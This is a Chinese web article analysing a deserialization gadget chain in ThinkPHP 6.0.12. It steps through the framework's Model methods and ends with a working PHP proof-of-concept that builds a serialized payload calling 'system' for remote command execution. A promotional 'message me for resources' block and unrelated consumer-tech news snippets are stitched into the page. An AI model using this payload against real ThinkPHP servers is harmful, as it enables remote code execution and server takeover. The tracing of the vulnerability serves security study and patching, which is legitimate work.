范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文
国学影视

Thinkphp最新版本漏洞分析

  环境
  Thinkphp6.0.12LTS(目前最新版本);
  PHP7.3.4。 安装composer create-project topthink/think tp6  测试代码
  漏洞分析
  漏洞起点不是 __desturct  就是__wakeup  全局搜索下,起点在vendor	opthink	hink-ormsrcModel.php
  只要把 this->lazySave  设为True  ,就会调用了save  方法。
  【一>所有资源关注我,私信回复"资料"获取<一】
  1、网络安全学习路线
  2、电子书籍(白帽子)
  3、安全大厂内部视频
  4、100份src文档
  5、常见安全面试题
  6、ctf大赛经典题目解析
  7、全套工具包
  8、应急响应笔记
  跟进 save  方法,漏洞方法是updateData  ,但需要绕过①且让②为True  ,①调用isEmpty  方法。
  public function save(array $data = [], string $sequence = null): bool     {         // 数据对象赋值         $this->setAttrs($data);         if ($this->isEmpty() || false === $this->trigger("BeforeWrite")) {             return false;         }         $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
  跟进 isEmpty  方法,只要$this->data  不为空就行。
  $this->trigger  方法默认返回就不是false  ,跟进updateData  方法。漏洞方法是checkAllowFields  默认就会触发。
  protected function updateData(): bool     {         // 事件回调         if (false === $this->trigger("BeforeUpdate")) {             return false;         }         $this->checkData();          // 获取有更新的数据         $data = $this->getChangedData();          if (empty($data)) {             // 关联更新             if (!empty($this->relationWrite)) {                 $this->autoRelationUpdate();             }             return true;         }         if ($this->autoWriteTimestamp && $this->updateTime) {             // 自动写入更新时间             $data[$this->updateTime]       = $this->autoWriteTimestamp();             $this->data[$this->updateTime] = $data[$this->updateTime];         }         // 检查允许字段         $allowFields = $this->checkAllowFields();
  跟进 checkAllowFields  方法,漏洞方法是db  ,默认也是会触发该方法,继续跟进。
  protected function checkAllowFields(): array     {         // 检测字段         if (empty($this->field)) {             if (!empty($this->schema)) {                 $this->field = array_keys(array_merge($this->schema, $this->jsonType));             } else {                 $query = $this->db();
  跟进 db  方法,存在$this->table . $this->suffix  字符串拼接,可以触发__toString  魔术方法,把$this->table  设为触发__toString  类即可。
  public function db($scope = []): Query     {         /** @var Query $query */         $query = self::$db->connect($this->connection)             ->name($this->name . $this->suffix)             ->pk($this->pk);         if (!empty($this->table)) {             $query->table($this->table . $this->suffix);         }
  全局搜索 __toString  方法,最后选择vendor	opthink	hink-ormsrcmodelconcernConversion.php  类中的__toString  方法。
  跟进 __toString  方法,调用了toJson  方法。
  跟进 toJson  方法,调用了toArray  方法,然后以JSON格式返回。
  跟进 toArray  方法,漏洞方法是getAtrr  默认就会触发,只需把$data  设为数组就行。
  public function toArray(): array     {         $item       = [];         $hasVisible = false;          foreach ($this->visible as $key => $val) {             if (is_string($val)) {                 if (strpos($val, ".")) {                     [$relation, $name]          = explode(".", $val);                     $this->visible[$relation][] = $name;                 } else {                     $this->visible[$val] = true;                     $hasVisible          = true;                 }                 unset($this->visible[$key]);             }         }         foreach ($this->hidden as $key => $val) {             if (is_string($val)) {                 if (strpos($val, ".")) {                     [$relation, $name]         = explode(".", $val);                     $this->hidden[$relation][] = $name;                 } else {                     $this->hidden[$val] = true;                 }                 unset($this->hidden[$key]);             }         }          // 合并关联数据         $data = array_merge($this->data, $this->relation);          foreach ($data as $key => $val) {             if ($val instanceof Model || $val instanceof ModelCollection) {                 // 关联模型对象                 if (isset($this->visible[$key]) && is_array($this->visible[$key])) {                     $val->visible($this->visible[$key]);                 } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {                     $val->hidden($this->hidden[$key]);                 }                 // 关联模型对象                 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {                     $item[$key] = $val->toArray();                 }             } elseif (isset($this->visible[$key])) {                 $item[$key] = $this->getAttr($key);             } elseif (!isset($this->hidden[$key]) && !$hasVisible) {                 $item[$key] = $this->getAttr($key);
  跟进 getAttr  方法,漏洞方法是getValue  ,但传入getValue  方法中的$value  是由getData  方法得到的。
  public function getAttr(string $name)     {         try {             $relation = false;             $value    = $this->getData($name);         } catch (InvalidArgumentException $e) {             $relation = $this->isRelationAttr($name);             $value    = null;         }          return $this->getValue($name, $value, $relation);
  跟进 getData  方法,$this->data  可控,$fieldName  来自getRealFieldName  方法。
  跟进 getRealFieldName  方法,默认直接返回传入的参数。所以$fieldName  也可控,也就是传入getValue  的$value  参数可控。
  跟进 getValue  方法,在Thinkphp6.0.8触发的漏洞点在①处,但在Thinkphp6.0.12时已经对传入的$closure  进行判断。此次漏洞方法的getJsonValue  方法。但需要经过两个if判断,$this->withAttr  和$this->json  都可控,可顺利进入getJsonValue  方法。
  protected function getValue(string $name, $value, $relation = false)     {         // 检测属性获取器         $fieldName = $this->getRealFieldName($name);          if (array_key_exists($fieldName, $this->get)) {             return $this->get[$fieldName];         }          $method = "get" . Str::studly($name) . "Attr";         if (isset($this->withAttr[$fieldName])) {             if ($relation) {                 $value = $this->getRelationValue($relation);             }             if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {                 $value = $this->getJsonValue($fieldName, $value);
  跟进 getJsonValue  方法,触发漏洞的点在$closure($value[$key], $value)  只要令$this->jsonAssoc  为True  就行。
  $closure  和$value  都可控。
  protected function getJsonValue($name, $value)     {         if (is_null($value)) {             return $value;         }          foreach ($this->withAttr[$name] as $key => $closure) {             if ($this->jsonAssoc) {                 $value[$key] = $closure($value[$key], $value);  完整POP链条
  POC编写<?php namespace think{     abstract class Model{         private $lazySave = false;         private $data = [];         private $exists = false;         protected $table;         private $withAttr = [];         protected $json = [];         protected $jsonAssoc = false;         function __construct($obj = ""){             $this->lazySave = True;             $this->data = ["whoami" => ["dir"]];             $this->exists = True;             $this->table = $obj;             $this->withAttr = ["whoami" => ["system"]];             $this->json = ["whoami",["whoami"]];             $this->jsonAssoc = True;         }     } } namespace thinkmodel{     use thinkModel;     class Pivot extends Model{     } }  namespace{     echo(base64_encode(serialize(new thinkmodelPivot(new thinkmodelPivot())))); }  利用

小米智能蒸煮锅众筹开启六边形蒸煮锅,样样都在行8月25日,小米生态链首款电煮锅产品米家智能多功能蒸煮锅正式上线众筹。这款产品作为小米布局智能厨房的重磅新品之一,主打年轻人市场,开发诸如智能网红食谱APP远程操控自动控温防溢锅等达成成就Android手表的天花板,OPPOWatch2评测Android手表一直以来都是Android手机用户们心中的一个痛,毕竟隔壁家AppleWatch确实做的很好。当然这几年也陆续出过不少比较优秀的Android手表,但总有各种原因久等了,小米平板5系列正式发布它该给的都给了8月10日讯,雷军2021年度演讲暨小米秋季新品发布会上,正式推出小米平板5系列新品。小米平板5全系搭载11英寸120Hz高素质LCD屏幕,其中小米平板5Pro具备八扬声器环绕立体realme首款笔记本电脑主打办公与颜值,顶配版售价大惊喜2021年8月18日中国深圳全球成长最快智能手机品牌realme真我举行828全球真粉节暨realmeBook新品发布会,在三周年到来之际,与全球真粉共庆1亿台销量里程碑。在本次全安卓智能手表的天花板,OPPOWatch2系列正式发布2021年7月27日,OPPO超能代表发布会正式发布新一代全智能手表旗舰OPPOWatch2系列,首创UDDE双擎混动技术,为智能手表的续航带来全新解决方案。该系列手表配备双芯双系人脸识别渗入生活方方面面,它的技术特点与应用场景有哪些?人脸识别,基于人脸部特征信息进行身份识别的一种生物识别技术。伴随着深度学习大数据和云计算等领域的不断突破,人脸识别设备也获得高速发展。并广泛应用于金融司法公安交通工厂教育医疗及社区小米米家发布直流变频落地扇E又一款超性价比风扇6月23日,米家推出的直流变频落地扇E正式开售。作为直流扇新宠,米家直流变频落地扇E除了延续前作出风柔低噪低能耗等特点外,其另一大亮点就是价格,仅售269元,一举击穿目前面市直流扇骁龙870配LCD高刷屏,到底怎么样?iQOONeo5活力版评测我是万万没想到,iQOO在发布了iQOONeo5这样一款性能强,价格给力的产品之后,又推出一台骁龙870的超性价比手机。iQOONeo5活力版其实更像是面向更多年轻用户的一款手机,RedmiNote10Pro首发评测旗舰配置下放,千元新标杆RedmiK40系列让Redmi如同一艘巨轮,在同价位机型中掀起几波浪潮,先是将骁龙870骁龙888的价格打下来,再通过K40游戏版定义了轻薄游戏手机新形态,可以说K40系列非常成如果我毕业时,能遇到它就好了,OPPOReno6Pro评测Reno系列的更新频率是真的快,一转眼已经到了第六代产品了,如果我们分析一下,你会发现从Reno4开始,这个系列就好像变成了一个新的系列,不知道能不能理解我这句话,我的意思就是Rerealme618的六大王牌这次真的可以狂欢了今日下午,realme正式召开realme真我心跳618发布会。6大王牌产品7亿真补贴,多重惊喜秒杀等系列重磅惊喜让全民618嗨到心跳。王牌对王牌,realme发布会上带来了三大价
你知道吗?电视清洁也要讲究小技巧现代社会,即使手机与电脑更受欢迎,电视机也依旧是家家户户的必备电子产品。不管你家的是全新的4K电视机还是老旧电视机,有一个问题都是不可避免的屏幕上总是沾满灰尘。家里有孩子的更是会有粉丝自制PS1版血源诅咒明年1月免费登陆血源PSX是一款由粉丝玩家自制的PS1版本的血源诅咒游戏,将会在明年1月31日正式免费上线PC,该作的开发者LilithWalther发布了游戏的最新预告,对游戏的画面和内容等做了充电1小时,排队4小时,为啥一次国庆就让电动汽车痛点暴露无遗?按照惯例,国庆节和过年,我国高速都会堵车,没有例外。但今年国庆却与往年有些许不同。不同点有2个一是今年高速拥堵情况远甚于往年二是今年高速上电动汽车的数量远多于往年。于是今年国庆节期11月XGP新增游戏公布,双人成行等作包含在内微软在昨天正式公布了备受玩家期待的GamePass(XGP)订阅服务最新的11月游戏阵容,可以看到其中包含双人成行和GTA圣安地列斯最终版等非常受玩家欢迎的游戏,一起来看看详情吧!汽车没电就是电瓶坏了?别被卖电瓶的骗了!留个心眼前几天晚上大虎悠正准备休息,一位车友喊住了我。说他的车遇到了怪问题,请我帮忙分析分析。话说他的那台老马自达3(第二代大笑脸马三)仪表上的电瓶故障灯亮了,于是猜测可能是电瓶故障,因此免费游戏螃蟹游戏Steam好评率达到92,Twitch观众飙升至21万免费第一人称多人联机游戏螃蟹游戏在10月29日正式上线Steam平台,这款看起来非常简单又有趣,看起来非常像网页小游戏的新作品却俘获了很多玩家的心,目前Steam平台共有将近九千位真相广告宣传里很高级的全合成机油,究竟高级不高级?近来依然有车友纠结于机油在德国如何如何好吧,我们来复习一下我们知道,成品机油的成分是基础油添加剂。如果一款机油,基础油部分,仅仅有4类或者5类,或者45类构成,那么按照所谓的德标它电动网约车司机的赚钱神器?近几年是新能源电动汽车蓬勃发展的几年,同时也是网约车行业在祖国遍地开花的几年。于是两者之间产生了一些化学反应,而反应的产物就是网约车电动化。对于网约车的营运者而言,节约营运成本是每谷歌推出防作弊神器每月四美元起众所周知,类似于苹果以及Google这些科技公司在教育方面都会下不小的本钱。而最近有消息曝出,Google凭借其强大的搜寻功能研发出新款工具,能够帮助老师们来检查学生是否有抄作业的新厨引领新生活方式未来厨房消费者与企业皆期待我国疫情已经不在颠覆消费者的日常生活,但是疫情带来生活上的改变却依旧影响我们。宅家民间大厨各显神通,电饭煲煲蛋糕全社会爆红自制小凉皮肠粉裹上面包糠油炸一切,不知馋哭了多少隔壁小孩。集安全品质智能续航于一身,宋PLUSEV找不到拒绝的理由比亚迪作为新能源领域的佼佼者,已经成为不少朋友的购车首选。宋PLUSDMi之后,带刀上阵的宋PLUSEV同样备受追捧。今天我就带大家到附近的比亚迪e网4S店,实地感受这款车的魅力。